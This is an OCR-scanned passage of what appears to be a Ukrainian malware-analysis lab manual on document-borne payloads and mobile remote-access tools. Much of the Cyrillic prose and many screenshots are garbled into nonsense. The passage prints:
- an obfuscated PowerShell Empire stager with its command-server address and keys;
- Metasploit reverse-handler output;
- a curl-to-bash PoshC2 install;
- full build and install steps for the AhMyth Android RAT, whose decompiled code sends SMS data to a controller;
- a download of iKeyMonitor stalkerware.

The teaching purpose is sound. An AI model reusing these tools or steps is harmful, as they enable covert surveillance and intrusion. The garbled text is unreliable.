| Windows PowerShell
| Windows Reliability Analysis

“| Windaws Remate Mananement (WinRM)
< > Extended , Standard

urn on PowerShell Script Block Legging Enabled Mo

urn on Script Execution Mot configured No
= Turn on PowerShell Transcription Enabled Mo
1iz] Set the default source path for Update-Help Mot configured Mo

Puc. 7.4: Tlapamerpu mporokosoBanus PowerShell

${B3904}.PROXy= $9qn3zG::"deFAultwebPrOxY";

${b3904}.pROXy.cReDeNTIaLs = ( &’geT-vArIAblE’ ’dW3Q’).VALUE::"
DeFaultnETwORkcReDENTiALs";

${sCRipT:pr0XY} = ${B3904}.ProxY;

${k}= (&’gEt-variable’ Q95pi).vALUe::"aSCii".GeTBYTes.Invoke (’f.=mvZR<
P7HJVbc4 ,aQ6 (+ueMLgOdwt{’);

${b3904}. hEADErS.Add.Invoke (’Cookie’,’Titnlgbe0BClrcFw=zFS/
KutmrtEMOuoF jc9bkvCwQyA=");

$ base64 -d <<<
aABOAHQACAAG6AC8ALwAxADcAMgAuADEANgAuADcAOAAuADEANAASADOAOAA4ADgAOAA=
http://172.16.78.149:8888

qe 172.16.78.149:8888 — IP ta mopr 1ieaTpy Kepysauus, f.=mv...dwt’ kmoq
mudpyBaHHs HaBaHTaxKeHHsI HacTynHoro pisus (StagingKey). Lenrp kepyBan-
HsI BUKOpHUCTOBYE cookie TitnlqbeOBClrcFw=zFS/KutmrtEMOuoF jc9bkvCwQyA=
JJIsT ayTeHTHdIKAIT.

e ommu meron anamnizy PowerShell naBanrarkennst — akTuBariis dyHKILiA
MIPOTOKOJIIOBAHHSA omepariiiinol cuctemu. HeobXigHO B HAMAIITYBAHHAX TPYIIO-
Boi nosituku (Local Group Policy Editor) seranosutu mapamerpu Computer
Configuration/ Administrative Templates/; Windows Components/ Windows
PowerShell y snauenns stk va puc. 7.4.

VY pasi ycuixy eobdyckoBaHmil KO Ta KOJL IHIMKMX PiBHIB (B T.9. IicjIs 3aBaH-
TayKeHHsl 3 MepeKi, BUKOHAHHSI B I1aM’sTi) MOXKHA 3HajiTu B porokosiax Event
Viewer, gk na puc. 7.5.

Cuain 3azmauntu, dyukmil nporokoroBarnias OC edekTuBHI pu aHasi3i iH-
nuenTiB i mpoakTuBHOMy MouiTopunry. Cam dakt Bukonamnust PowerShell komy
MO2Ke OyTH O3HAKOIO ATaKu. B repcrekTuBi 1e NpUBOIUTL 10 3HIKEHHS IOILY-
asipaocti PowerShell juist 3aco6is npuxosanoro anasisy (lateral movements), i
3MEHIIIEHHS] IHTeHCUBHOCTI PO3POOKH BIANOBIIHUX {HCTPYMEHTIB (/UB. 3aKiHUe-
HHS MiATpuMKN opurinajbHol Empire B 2019 porii, HU3bKa iHTEHCUBHICTH OHOB-
JICHD IHIIUX 3raJIaHuX BUINE 3PA3KiB 1 T.71.)

7.4 BapiaHTu 3aBJIaHb
e JlocmiiTh 3pa3Ku:

— Metasploit

* exploit/windows/fileformat/office_word_hta
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) Event Viewer

Ele Acion View Help
| 2@ @@
@ Event Viewer (Local)
Views

Windows PowerShell  Number of events: 168 () New events available Actions

~ 15 Custom
T e tvents || Dateand Time Source Bvent D Task Category ] | Windows Powershei
© 75 Windows Logs @ information 5/4/2020 20320 PM Powershell Powershel) &0 Pipeline Execution Details = OpenSoved Log...
& Application @ nformation 57472020 203:20PM Powershel (Powershell) 800 Pipeline Execution Details ¥ Create Custom View.
6] Scurty @ nformtion S0 203209 Powashell Poverhel) 0. pipelineExecution et oyt Coom i
 setwp @ nformation 5742020 203:20PM PowerShel (Powershell) 80 Pipeline Execution Details -
@ system @ information 57472020 20320 PM Powershell (Powershel) 800 Pipeline Execution Detais Clear Lo
] Forwarded Events @ formation 51472020 20319 P Powershell Powershel) 800 Pipeine Excution Detils T Fiter Cureen Log..
v [ Applications and Services Lo | ) information 5/4/2020 20319 PM Powershell Powershel) 80 Pipeline Execution Details | broperies
5 Hardware Events @ Information 5/4/2020 203:19PM PowerShell (PowerShell) 00 Pipeline Execution Details % Fnc
5] Intemnet Explorer D 5/4/2020 20319 PM Powershell Powershel) &0 Pipeline Execution Details 8 Fin
é :AWM"";Q"“‘"‘S‘N“‘ ¢ 5/4/2020 20319 PM. PowerShel (PowerShell) 200 Pipeline Execution Details Il save Al Events s,
5 Openeot @ information 5/4/2020 20319 PM PowerShel (Powershell) 80 Pipeline Execution Details S| Attach s Task o this g
8] Windows Azure vent 800, Powershell Powershel Vew
(+] Windoves Powershel || £/<7t 500 Powershell Bovershel) * | reton
4 Subscriptions enersl Detals o
P General Help
© Friendly View O XML View Event 800, PowerShell (Power...
N ] Event Properies
[BITCONVeRTeR]:GeTBYTES(S) dom));$dat 3 D) + @(0X01,0X03,0X00,0x00) + ) Attach Tsk To This Event,
[BItCONVERter]:GEBYTes($Eb2.LEngtH) $Redp2 = ConvertTo-RC4ByTeSTREaM -RCK $($IV2+$SKB) -IN $DaTa2;$rc4P2 = Tl Seve Selected Events..
$IV2 + $rC4p2 + $eB2if (ScustomHeaders -ne **) {SHEaDErs = $cusTOMHEADeRs -SpliT *;$HEaDErs | FOREACH-Object & Copy >
{SheaderKEY = $_split(+)[0; sHeAdERVaLUe $_spLIt(:)[1]if (SheaderKey -eq "host"){trY{$ig=$\WC.DowNLOADALa($s)} G Refresh
caTCH{});$wcl UE)}}$wcHeaders. Add("User-Agent”,$UA);$wc.Headers.Add("Hop- ﬁ el N
Name"$hop):$raw=$wc UploadData( £s+ * fmews.php", POST" $rc4p2)EX $( Se GELSUING($(DeCRYpt-BYtes -KeY SKEY -IN "
SRAW)) ) SAES=$NUIL; =SNUIL; ESIV=$NUIESWC=$NULESI=$nUILSIb2=$NUIL;
[GCJ:COLLecT)TBZAG -Servers @(($s -split /)[0.2] /") ~StagingKey §SK -SessionKey $key -SessioniD $ID -
WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings SScriptProxyStart-
Negoua(e PRI < = mVZR <P7H)Vbc4 aQ6(+ ueMLgOdwt{ [T MR LRI
1 DetailTotal=2 \User onsoleHost HostVers
JngﬂCd\UwEWAC:AKQAgADEAMWBZADd\\AAgACgAWwBOAFkArAEFAFOAKAAwAHsAOAB9AHsAOQB§AHsAMQAyAHDAev
1.18362.752 Runsps 1e8ff99 165a83f Pipelineld=1 ScriptName= Command
c “Invoke-Expression” vy
< >

Puc. 7.5: IleobdyckoBanuii Koz micis 3amycky launcher.bat

# msfconsole

msf5 > use exploit/windows/fileformat/office_word_hta

msf5 exploit(windows/fileformat/office_word_hta) > exploit
[*] Exploit running as background job 0.

[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.78.1:4444

[+] msf.doc stored at /home/user/.msf4/local/msf.doc

[*] Using URL: http://0.0.0.0:8080/default.hta

[*] Local IP: http://172.16.78.1:8080/default.hta

[*] Server started.

$ cd /home/user/.msf4/local && file msf.doc
msf.doc: Rich Text Format data, version 1,
set

unknown character

* exploit/windows/fileformat/adobe_pdf_embedded_exe
* exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs
* payload/cmd/windows/download_exec_vbs

PoshC2 [154]

* dropper_cs.exe

# curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2
/master/Install.sh | bash
# posh-server

# cd /opt/PoshC2_Project/payloads && file dropper_cs.exe
dropper_cs.exe: PE32 executable (console) Intel 80386 Mono/.
Net assembly, for MS Windows

x ReflectiveDLL s CLR Ta C+#

/opt/PoshC2_Project/payloads/Posh_v4_x64.dll
/opt/PoshC2_Project/payloads/Sharp_v4_x64.d1l1

Nishang [155]

* Pesysbraru poboru Client/Out-*.psl

$ 1s nishang/Client
Out-JS.

Out -CHM.ps1

Out -Excel.psl

Out -HTA .ps1

Out -Java.psil

psl Out-SCF.ps1
WebQuery.psil

Out -SCT.ps1

Out -Word.ps1
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Out -



7.5

— unicorn [156]
* PS Down/Exec
— Veil [157]
* lua/shellcode_inject/flat.py
* ruby/shellcode_inject/base64.py

OpHiero 3 MOXKJIUBOCTEN 3aC00IB TOCTABKYU HA OCHOBI 0ObiCHUX JTOKYMEHTIB
€ 30ip CTATHCTUKH PO OBy CUCTEMY. BinKpuTTs creniajbHUM IUHOM
chOPMOBAHOIO MNOKYMEHTa 3 IOCUJIAHHAMH Ha 30BHIIIHI PECypCH MOXKe
[IPUBECTH JI0 3aIUTY HA KOHTPOJBOBAHMII 3JIOBMUCHUKOM CepBep. Y BU-
magaky HTTP zanmur moxke mictuty iH(GOpPMAIIO PO BEPCIIO ITPOrpaMHO-
ro 3abesnedenns y 1iibosiit cucremi (User-Agent), a TakoXK CBIAYUTL IPO
AKTUBHICTH KOPUCTYBada — JOKyMeHT OyB Binkpurwuit. [Ipukia peasrizaril

— Microsoft Word Intruder 3 momyinem MWISTAT [158, 159|.

Kpim I3 momibHI TexHOJIOrIT 3aCTOCOBYIOTHCS st BiIC/IiIKOBYBaHHS
BUTOKIB indopMariil Ta B SKOCTI paHHBOTO CrOBimeHHst mpo ataku. Crerri-
aJbHO C(OOPMOBAHUIT JOKYMEHT, PO3MIIIEHN B KOPIOPATUBHIi Mepexi, y
pa3i Heobepe’KHOro MOBO/IZKEHHS 3JI0BMACHUKA, MOYKE TIOBIIOMUTH CJTy KOy
Gesnekn npo araky. [Ipukian peanizamnii — CanaryTokens [160, 161, 162].

3agganHs — 3a gonomMoroio [161] creopits npumanku Microsoft Word Doc-
ument ta Acrobat Reader PDF Document. 3uaiigiTs egemenTn, mo Bu-
KOPHUCTOBYIOThCS JUIsi BUTOKY indopwmarii. ITlo came BinmpasiseTbcs Ha
Bijiaienuit ceppep?

IIpoananizyiite Kox aity .jse y 3pasky 3 posuury 7.3.4. Posmmdpyiite
base64-Ko/1oBaHi psiiKK y Macusi a.

KonaTposbHi nuTanHs

Bukinku sikux yHKI omepariitHol cucteMu y pO3IJIssHyTHX B Jiabopa-
TOpHIi#T poboTi 3pa3kax mpuBoaaTh 10 akruBalii Windows Defender?

dxi KII09OBI CJIOBa B IHTEPIPETOBAHUX 3pasKaxX 3 JrabopaTopHol pobo-
TH BUKOPUCTOBYIOTBCH JIsi CHTHATYPHOrO JerekryBanus y Windows De-
fender?
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JlabopaTopua pobora 8

Mo0O1/1bH1 3acTOoCyBaHHS

8.1 Meta poborn

OTpuMaT HABUYKU 3BOPOTHBOIO IPOEKTYBAHHS Ta aHAJII3y MOOLIBHUX 3aCTO-
CYHKIB.

8.2 IlocranoBka 3amadi

Hocaigntu 3pasku [III3 Ta cucreM BijgjgajieHOro KepyBaHHsS Il ILIAT(OPM

Android Ta i0S.

8.3 Ilopsimok BUKOHaHHS POOOTH

8.3.1 Android

OC Android y 2020 pomui zaiimae 86.1% puHKy MOGIIBLHHX ONepaliiiHuX CH-
creM [163], mo 3ymosioe nonyasipaicrs I3 s niei mwrardopyu. Posriis-
HeMo MeToju anaizy Android 3acTOCYHKIB Ha MPUKJIAII CUCTEMHU BiaJeHOTO
kepyBanusg AhMyth [164]. Posropaemo ta HajamryemMo 3pa3oK:

1. Beranosumo Android Studio, SDK, Emulator [165].

2. BcramoBumo npm, 3aJ1€2KHOCTI, 30€peMO CepBEPHY JACTUHY:

$ sudo apt install npm

$ git clone https://github.com/AhMyth/AhMyth-Android-RAT
$ cd AhMyth-Android-RAT/AhMyth-Server

$ sudo npm install -g electron

$ npm build

$ npm start

3. Creopumo 3pazok — APK Builder, y Server IP anapeca BiacHol cucremu (B
npuksaai 172.16.78.1), Build.

4. CrBopuMo BipTya/bHUIT TpUCTPiit B emyssiTopi Ta 3amycrumo: Android
Studio, Tools, AVD Manager, Create Virtual Device — Pixel 2 API 29,
Android 10.0 (Google APIs) x86.
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Victims APK Builder ([ ]

VICTIMS LAB -

.

country Manuf. Model Release 1P Port

m (2] Google Android SDK built for x86 10 172.16.78.1 44570

New victim from 1

Puc. 8.1: Cepsep kepyBanns AhMyth-Server

5. 3amycrumo cepsep kepyBanas AhMyth: Victims, Listen.

6. BcranoBumo 3pazox:

$ adb install ~/AhMyth/Output/Ahmyth.s.apk
Ta 3aIlyCTHMO.

VY pasi yenixy cepsep oTpuMye 3’€IHAHHS Bl HOBOro KiieHra (puc. 8.1) Ta
Ma€ MOXKJIMBICTD BiJaJieHOro KepyBaHHsl (puc. 8.2).

IIpoananizyemo Ahmyth.s.apk. Ijus crarndHoro aHaJisy GalTKOLY MOXKYTb
3aCTOCOBYBATHUCS DI/l IEKOMITIISITOPIB Ta au3acceMbIepiB, BUKOPUCTAEMO HADIP
Bytecode Viewer [166]. 3actocyemo gexommissitop JD-GUI ta ausaccembuiep,
sk Ha puc. 8.3. Y koncrpykropi kiaacy 1OSocket 6aunmo IP agpecy Ta moprt
neTpy KepyBanug 172.16.78.1:42474.

Tumuit momynstpHMit KOMEPIiiHUH 3aci0 CTATUIHOTO Ta, JUHAMIYHOTO aHAJTI3Y
— JEB [167]. PesynbraTn JeKOMIIISIET JOCITIKYBAHOTO 3pa3Ky Ha puc. 8.4.

Kpim craruunoro amasisy i sueBajpkysadis BCV ta JEB mus psay 3a-
Jiat KOPUCHUM € MOXKJIUBICTH MPSAMOTO pejaryBaHHs OANTKOIY 3a JIOIMOMOTOIO
apktool [168] Ta smali/backsmali [169]:
$ java -jar /opt/android/apktool_2.4.1.jar d Ahmyth.s.apk
I: Using Apktool 2.4.1 on Ahmyth.s.apk
I: Loading resource table.

I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/user/.local/share/apktool/
framework/1.apk

Regular manifest package...
I: Decoding file-resources...

-
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o
o] [ U
Camera File Manager Mic
Send SMS SMsS
& 1 Messages
6505551212
Yumm! alaAndroid mode!

Contacts list

<

Q

Location

contacts SMS. calls Logs

list..

Puc. 8.

Bytecode Viewer 2.9.22 - http:

2: Hosnit xiieHT

/bytecodeviewer.com | http

BA0

About emulated device

Model & hardware

Model: Android SDK built for x86

IMEI

Android version

IP address
e80:15

)0

c0ae:272

150211 fel
©842:f

Wi-Fi MAC ac

2:15:h2

Up time

Build number
sdk_g

userdebug 10 QSR1.191(

L | ]

goctyn 10 SMS Ta reostokariii

/the.bytecode.club — @Konloch

File View Settings Plugins

[IFiles

[ Jwork Space

= CallsManager.class
CameraManager$1.class
=) CameraManager.class
ConnectionManager$1.c
ConnectionManager$2.c
ConnectionManager.clas
=) ContactsManager.class
= FileManager.class
m 10S ocket.class [N
LocManager.class
MainActivity.class
MainService.class
©| MicManager$1.class
MicManager.class
MyReceiver.class
R$attr.class
R$color.class
R$dimen.class

= R$id.class

= R$layout.class

= R$mipmap.class

= R$string.class
L |

Quick file search (no file extensior

Exact -l +

[[Isearch
Search from All_Classes .
v

Strings

Search String:
Exact
Search

Results

ahmyth/mine/king/ahmyth/I0Socket.class *

2 2

alse

JD-GUI Decompiler - Editabl.
L package ahayth.nine.king.ahnyth;

,Empm android.content. ontext;

android.os.Build. VERSION;
ndrold provider Settings Secure;
i0.socket .client

1o otker et To. oreions;
i0.socket .client. Socket

Java.net. IRISyntaxException;

inpo
1L inport
B

13 public class Tosocket
128

private static Iosocket ourInstance = new Iosocke
5 private Socket ioSocket;
=

private Tosocket ()
1

try
{
ring str = Settings.Secure getString (MainService, getContext!
/socket/client/1050ptions;

Exact

: Exact

@

+

_ Bytecode Decompiler - Editable: false

153 private 05ucket () { // <init~ //()
L1 to L2 handled by L3
i al0ad0 // reference to sel

java/net /LRISyntaxException

18 invokespecial ]zvz/unq/-h— . <inits(

198 u{

2 invokestatic_ahnyth/mine /king/ahmyth/MainService getContext
2 invokevirtual android/content/Context. getContentResolver ()L
2 1dc *android_id" (j tring)

3 invokestatic android/provider/Settings§Secure.getstring(Lan
2 astorel

E e 1o socket/client/1030ptions

2 asto

7 Toats

inuskespecial $o/socket/client/Tos0ptions. <init OV

2 iconst,
31 pu(f)eld io/socket/client/I0§0ptions. reconnection:boolean
£ Toad2

33 dc 5000 (java. lang.Long

3 putfield 10)socket/Client/I0s0ptions. recomectionbelay Long

aload2
Tdc 999999999 (java. lang.Long)

3 putfield io/socket/client/T0§0ptions. reconnectionDelayax:1
8 new java/lang/Stringeuilder

Options)localObject). reconnection - tru - etoras
options)localobect) . reconnectionDelay = S000L; b hetsiis
options)localobject) . reconnectionDelayMax - 99900000aL; | invikaspecisl Java/tang/Stingeis e OV
- new java/lang/Stringeuilders b Tloato 7y roferones 1o ¢
43 oad2
+ s Tdc "http://172.16.78.1:424747n0del="  (java.lang. String)
) 45 invakevirtual Jave/ang)Strangbus Lder. sppend (Ljavallang/t1
| 4 getstatic android/os/Build. MODEL: java, lang. String
catch (URISyntaxException locallRISyntaxException) 7 invokestatic android/net/Uri. encode (Ljava/Lang/String:)Ljav
{ for (1) 48 invokevirtual java/lang/StringBuilder. appen a/lang/5tr
or 49 1dc "&nan (Java.lang.String)
: . 50 invokevirtual java/lang/String2uilder. append (Ljava/Lang/Str
) TocalURISyntaxException. printStackTrace (); 51 getstatic andrm/us/smd MANUFACTURER: java, lang. String
52 /Lang/Stringéui 1der. append (Ljava/Lang/Str
) 53 (java.lang.5tring)
W ¥ 54 invokevirtual java/lang/StringBuilder.append(Ljava/lang/Str
. s : 55 getstatic android/os/Build§VERSION. RELEASE: java . lang.5tring
42 Bublic static I0Scket getinstanc E Invokevirtual java,Lang/Stringeui1der. append (javal Lang/str
p T ava. lang.5trin
W |  retum ourinstance: Ivokerirtust fava/Lang /5t rangBui lder . append (Ljava/Lang/Sr
59 aloadl
4
- X 60 invokevirtual java/lang/StringBuilder. append (Ljava/Lang/Str
public Socket getToSocke 1 Invakevirtust Jave/Tang/strangoun et sostrang L javer ang)
ni " 52 invokestatic io/socket/client/I0.socket (Ljava/lang/String:)
return this. ioSocket; 3 putfield ahnyth/mine/king/ahmyth/I0Socket.ioSocket:io.socke
A CEd 3 ~
(O B | &)

Refresh

Puc. 8.3: Bytecode Viewer
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JEB - /home/user/AhMyth/0utput/Ahmyth.s. apk

File Edit Mavigation Action Mative Debugger Window Help
2HEHF* 0@ B, " 1
. Project Explorer Buytecode/Disassembly [ SMSManager /Source &
i rt org.json.JSONObject;
v /home/user /RRMYth/Dutput | | %o 28 -
public class SMSManager {
v @ fhnyth.s. apk public static J50NObject getSMSList() {
v Tanmyth.mine. king. ahmy iﬁ;‘“i“”“‘*— SHsList:
K Manifest SMSList = mew JSONObject{);
JSONArray list = new J ray();
eCertificate Uri uriSMSURL = Uri.parse{“content://sms/inbox"};
Cursor cur = MainService.getContextOfApplication().getContentResolver().quer
» Bytecode while(cur.moveToNext()) {
JSONObject sms = mew JSONObject():
» =Fesources String address = cur.getString(cur.getColumnIndex("address”));

( = - : String body = cur.getString|cur.getColunnIndexOrThrow “body”) ) ;
| Filter: type "Enter”... sms. put(“phonelio”, address);

sns. put ("msg”. body) ;

list.put(sms);

Butecode/Hierarchy 8 ]
FZiaiiae viee SMSList.put(“smsList”, list);
- Log.e("dane”, “collecting”):
» @MicManager }
) catch(JSONException e) {
» @MyReceiver e.printStackTrace();

»OR ) SMSList = mull;

return SMSList;

#io Description|Saurce
v @#socket
v @backo B logger & Terminal
Memory Usage: 502.0M allocated (46.8M used, 455.2M free) - max: 8.0G
» @Backoff JEB 3.7.6.201989272858 (pro) is starting...
. Current directory: /opt/android/jeb/jeb-demo-3.7.8
v#client Base directory: /opt/android/jeb/jeb-demo-3.7.0
»OACK Program directory: /opt/android/jeb/jeb-demo-3.7.8/bin
System: Linux 4.15.8-91-generic (amd64) en US
»@10 Java: Oracle Corporation 9.6.4

Plugin loaded: com.pnf.plugin.androidinihelper.DynanicINIDetectionPlugin
i _||||Plugin 1oaded: com.pnf.libravm.Libraldentifier
[QFilter: tupe "Enmter’ . .. Plugin loaded: com.pnf.libravm. LibrabisassemblerPlugin

Plunin Tnaded: ram nnf 1ihraum | ihrahecsmndlarBlunin

Puc. 8.4: JEB Decompiler

Decoding values */% XMLs...
Baksmaling classes.dex...
Copying assets and libs...
Copying unknown files...
Copying original files...

H o H -

Micaia posbopy APK oz y smali/ moxke pegarysarucsa kopucrysadem. Kpim
pelaryBaHHs 3HAYEHb 3MIHHUX, METOJ] MOYKE 3aCTOCOBYBATHUCS JIJTsl TPUMITHBHO-
0 3HEBAKEHHS IILIAXOM JIOJAaBaHHS BUBOIY Yy CHCTeMHWIT KypHaj. Tak, mob
BUBECTH TIAPAMETP METOJLy — TEKCTOBHI PSIJIOK, MOXKHA JomaTn Bukiank Log.d():

const-string vO0, "argO: "
invoke -static {vO, pO}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/
String;)I

Hna ycmimmuoro sigreopenus APK B manomy 3pasky J107aTKOBO HEOOXi-
a0 Buiryuntn mapamerpu compileSdkVersion, compileSdkVersionCodename 3
AndroidManifest.xml. s 36opy APK:

$ java -jar /opt/android/apktool_2.4.1.jar b Ahmyth.s
: Using Apktool 2.4.1

Checking whether sources has changed...

Checking whether resources has changed...

Building resources...

Building apk file...

Copying unknown files/dir...

Built apk...

HoH H - H H

Pesynbrarun poboru y Ahmyth.s/dist, 3acrocynok meobxigno mimnucarun —
HAIPUKJIAJ, 3a iHcTpyKiieo [170].

Posrisgremo MoK IUBOCTI AMHAMITHOTO OIHAPHOTO iIHCTPYMEHTYBAHHS 34 JI0-
nomororo Frida [171]. B stkocri mpukiiay nepexormmo merox getSMSList y kiaci
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SMSManager, 10 BUKOPUCTOBYETHCsI JIJIsT OTPUMAaHHs ciiucKy SMS, Ta 3amianmo
pe3yJibTaT Ha BJIACHUNA:

1. 3aBanTaxkmmo frida-server ocranbol Bepcil st BijmosigHol mardopmu —
y nanomy npukiai frida-server-12.8.20-android-x86.xz.

2. Bcranoumo Ta Hasiamryemo Frida:

$ sudo pip3 install frida frida-tools

$ adb push frida-server /data/local/tmp
$ adb shell

=== in android

$ su

# cd /data/local/tmp

# chmod 755 frida-server

# ./frida-server

3. CrBopuMmo 06pobuuk getSMSList, hook.js:

Java.perform(function(){
var sman = Java.use ("ahmyth.mine.king.ahmyth.SMSManager");
sman.getSMSList.implementation = function(){
console.log("getSMSList () called");

var sms = Java.use("org.json.JSONObject").$new();
sms.put ("phoneNo", "1337-KITTY");
sms.put ("msg", "mewmew!");

var list = Java.use("org.json.JSONArray").$new();
list.put(sms);

var res = Java.use("org.json.JSONObject").$new();
res.put ("smsList", list)

console.log(res);
return res;
};
s

4. Tucrpymentyemo aktusHuii mporiec Ahmyth (y crani akTusHOrO 3’6 1HAHHS
3 HEHTPOM KEDYBAHHS ):

$ frida -U ahmyth.mine.king.ahmyth -1 hook.js

/ _ | Frida 12.8.20 - A world-class dynamic instrumentation
toolkit
[
> _ | Commands :
/-7 1_| help -> Displays the help system
object? -> Display information about ’object’

exit/quit -> Exit
More info at https://www.frida.re/docs/home/

[Android Emulator 5554::ahmyth.mine.king.ahmyth]->

5. IIpu Bubopi SMS, SMS List y menTpi kepyBaHHs, TOBEPTAETHCS €JIMHA
SMS 3 HOoMmepy 1337-KITTY 3 BMicTOM mewmew!:

getSMSList () called
{"smsList":[{"phoneNo":"1337-KITTY","msg": "mewmew!"}]}

Binbm meranbHO 3 apxiTekTyporo 6esnexkn Android MoykHa 03HAHOMHUTHCH
y [172], 3 incrpymentamu ananisy Android sacrocyskis y [173, 174].
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8.3.2 i0OS

3riJ{HO TOro K JIOCHIZKEeHHsT pUHKY MObLIbHEX cucreM [163], sume 13.9% upu-
CTPOIB BUKOPHUCTOBYIOTH 10S, 1 MeHIle mecaTux BijicOTKa y Beix inmux. Pazom
3 TuM, TpoyKTH Apple BHACIIIOK BHCOKOI BApTOCTI MOMYJISIPHI cepejl Tiieit 3
BaxksmBoio indopmanicio (high profile targets), 1o 3yMoBiioe He MeHIIT aKTUB-
HY pO3pOoOKYy 3acobiB aHaJII3y Ta Bi1aaeHOTO KepyBaHHs. Po3rsHeMo MeToIn
anasizy 10S 3acrocyskis Ha npukian iKeyMonitor [175]:

1. 3aBanraxxumo iOS Bepcito gy mpucTpois 3 Jailbreak, mo odimiitro pos-
MOBCIOJIZKYEThCsT ueped perosuropiii Cydia BigBoss:

Download link in webpanel: cydia://package/com.aw.mobile.ikm

Repo list: http://apt.thebigboss.org/repofiles/cydia/dists/stable/main/
binary-iphoneos -arm/Packages

Package info: http://apt.thebigboss.org/onepackage.php?bundleid=com.aw.
mobile.ikmé&db=

Latest version: http://apt.thebigboss.org/repofiles/cydia/debs2.0/
ikeymonitor_5.1.0-20.deb

$ wget http://apt.thebigboss.org/repofiles/cydia/debs2.0/ikeymonitor_5
.1.0-20.deb

2. Posmakyemo makyHOK:

$ file ikeymonitor_5.1.0-20.deb

ikeymonitor_5.1.0-20.deb: Debian binary package (format 2.0)
$ 7z x ikeymonitor_5.1.0-20.deb

$ tar xvf data.tar

-Trwxr-xr-x root/wheel 336992 2019-03-15 12:03 ./Library/
MobileSubstrate/DynamicLibraries/IKMVoiceRecord.dylib
-rwXr -xr-x root/wheel 7085488 2019-03-15 12:03 ./Library/
MobileSubstrate/DynamicLibraries/MobileSafe.dylib
-rwxr-xr-x root/wheel 200736 2019-03-15 12:03 ./Library/
MobileSubstrate/DynamicLibraries/PreferencesEx.dylib
-rwxr-xr-x root/wheel 276816 2019-03-15 12:01 ./Library/
MobileSubstrate/DynamicLibraries/keychain.dylib
-TWXr-Xr-x root/wheel 99840 2019-03-15 12:02 ./Library/
MobileSubstrate/DynamicLibraries/localnotesex.dylib

3. iz peasnizarii Keitsiorrepa BHKOPUCTOBYEThCH JUHAMIYHE iIHCTPYyMEHTYBa~
HHs 3a gonomororo MobileSubstrate [176]. TIpoananisyemo ojuH 3 3aBaH-
taxKyBanux mozyseit MobileSafe.dylib. st craruanoro anasizy moxe 3a-
crocoByBarucs IDA Pro 3 komepiiinoro Jsinensieo va ARM, ARM64 a6o
cucreMu 3 BltbHEM Ta BigkputnMm kogoM (FOSS), taki ax Ghidra [177].
Ha puc. 8.5 moka3zano pe3y/ibTaTh TU3aCCEMOJIIOBAHHS Ta, JTEKOMITLIATIT
BapianTy 6i6JrioTexu jyist arm64:

$ ARCH=arm64 /opt/jtool2/jtool2.ELF64 --analyze MobileSafe.dylib
$ ARCH=arm64 /opt/jtool2/jtool2.ELF64 -1 MobileSafe.dylib
opened companion file ./MobileSafe.dylib.ARM64.B87EDF95-4110-3CF9-A084

-29A286F0D46A
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x120000 __TEXT

Mem: 0x00000146c-0x0000£fd8a8 __TEXT.__text (Normal)

Mem: 0x0000fd8a8-0x0000fe328 __TEXT.__stubs (Symbol Stubs)

Mem: 0x0000fe328-0x0000fedcO __TEXT.__stub_helper (Normal)

Mem: 0x0000fedc0-0x000107748 __TEXT.__const

Mem: 0x000107748-0x000108164 __TEXT.__gcc_except_tab

Mem: 0x000108164-0x00011168b __TEXT.__objc_methname (C-String
Literals)

Mem: 0x00011168b-0x000111abe __TEXT.__objc_classname (C—String
Literals)

Mem: 0x000111a5e-0x000112f13 __TEXT.__objc_methtype (C—String
Literals)
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CodeBrowser

ikm:/Mobil

fe.dylib/AARC

64-64-cpubxa

Eile Edit Analysis Navigation Search Select Tools Window Help.
He = BPRBEFR JIDULFRVB: @@/ cc [ /EHILBDG.20BO |4dn @
Trees 1id & B x| [[Efisting: AARCH84-64-cpuox0 O [ 8 r @ - x| [acompile: EALNEI B3
B e — 1| 27+ Function stack size: 08 bytes +/ N
B _oaa 0005932c €0 03 0a a2 mov paran_1=>objc: iclass_t::IKMRest :
_ % s_t::T B ,
B "o o o e ) & [bool turmONRestrictionswithPassvord: (D paran_1,SEL paren 2,10 p
(3 _FxTERNAL M| 00059334 72 91 02 94 bl ibs: : _objc_nsgSend s le
p——— 00059338 20 83 1b f6  stur L1729, #local s8] Warls
LProg J 0005933c a8 83 5b 18 ldur . #local_s8] Longlong ard
00059340 €9 13 40 fo  1dr {sp, #lacal_s0)
00059344 3f 01 0B eb  cmp .8
| oo0s9348 41 00 00 54 b.ne LAB_00059350
| oooso3sc 17 00 00 24 b LAB 00059328
s LAB_00059350
00059350 a8 06 00 d0 adrp 01127000
00059354 08 el 2¢ 91 add #0xbb8
00059358 29 06 00 d0  adrp 0x12f000
0005935c 29 ¢l 2¢ 91 add #01bb0
|| 00059360 22 06 00 fo  adrp 0x120000
00059364 42 61 2 91 add 10, #0xace
00059368 ab 03 5d f6  ldur 11, 1x29, #local_4o0]
0005936c ac 83 5b f6  ldur 12,1:29, #local_56] :
P | | owossa0 430100 dr =>cf_RestrictionsPassvordKey, o T
7. 40 paran_3e>s_setValue: forKey: ) . .
e 00059374 21 01 40 fo  ldr ; 5_setvalue: forkey:_001 1 = ol psgsend paran_3 et )
00059378 €0 03 0b s mov paran_1,x11 _objc_nsgSend (&TkMRestric tionPassvord
Fiter: 0005937c €2 05 Oc a2 mov paran 3,112 objc_msgsend (& O $_Nshutabl
00059380 58 0f 00 75 str SLoPTR s writeToFile:atonicall o Toce -
— 00059384 Se 91 02 94 bl Stubs:_objc_msgSen . -
DataType.. 4= - = - | *2 - [N v X 00059388 a8 Ob 7d a9 ldp param_3, [x29, #local_40] 0 { . N
objc_nsgSend (§_0BIC_CLASS_§_NSHutableDictiona
" ou s EEmREl W AT .
+ @ BultinTypes “ " =>s_writeToFile:atonica sgsend(ocal_4o. valusFarkey et s
> IE OAARCHS4-64-cpuOx0 00059394 3 03 00 32 mov .
+ generic cib R R - -
> § mac_osx
2 Console - Scripting VA3
Filter: 2 [ 5
@| [ooose370 tumONRestriction... | Idrx3,(<10] ]

Puc. 8.5: Ghidra SRE

Mem: 0x000112f13-0x00011f44a __TEXT.__cstring (C-String Literals)
Mem: 0x00011f44a-0x00011f44e __TEXT.__ustring
Mem: 0x00011f44e-0x00011fffe __TEXT.__unwind_info

LC 01: LC_SEGMENT_64 Mem: 0x000120000-0x170000 __DATA

